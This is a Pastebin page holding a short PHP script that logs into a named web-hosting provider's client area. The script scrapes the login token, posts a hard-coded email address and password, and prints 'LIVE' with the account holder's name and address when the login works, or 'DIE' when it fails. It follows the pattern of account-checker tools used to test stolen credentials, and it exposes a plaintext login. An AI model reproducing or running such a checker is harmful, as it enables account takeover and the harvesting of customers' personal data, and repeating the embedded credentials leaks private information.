Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- include 'includes/class_curl.php';
- $curl = new curl();
- $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
- $curl->ssl(0, 2);
- $url = "https://clientzone.rumahweb.com/dologin.php";
- $urldata= "https://clientzone.rumahweb.com/clientarea.php";
- $page = $curl->get($url);
- $page1 = $curl->get($urldata);
- if ($page) {
- $token = getStr($page,'<input type="hidden" name="token" value="','" />');
- $data = "token={$token}&username=cirebonredhat@gmail.com&password=Jancuk123";
- $page = $curl->post($url, $data);
- if (inStr($page, "Login Details Incorrect. Please try again.")) {
- echo "DIE \n";
- } else if (inStr($page, "Selamat Datang Kembali")) {
- $urldata= "https://clientzone.rumahweb.com/clientarea.php";
- $get = $curl->get($urldata);
- $nama = getStr($get,'</strong><br><em>','</em><br>');
- $alamat = getStr($get,'</em><br>','</div>');
- echo "LIVE => $nama | $alamat \n";
- } else {
- die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> "}');
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement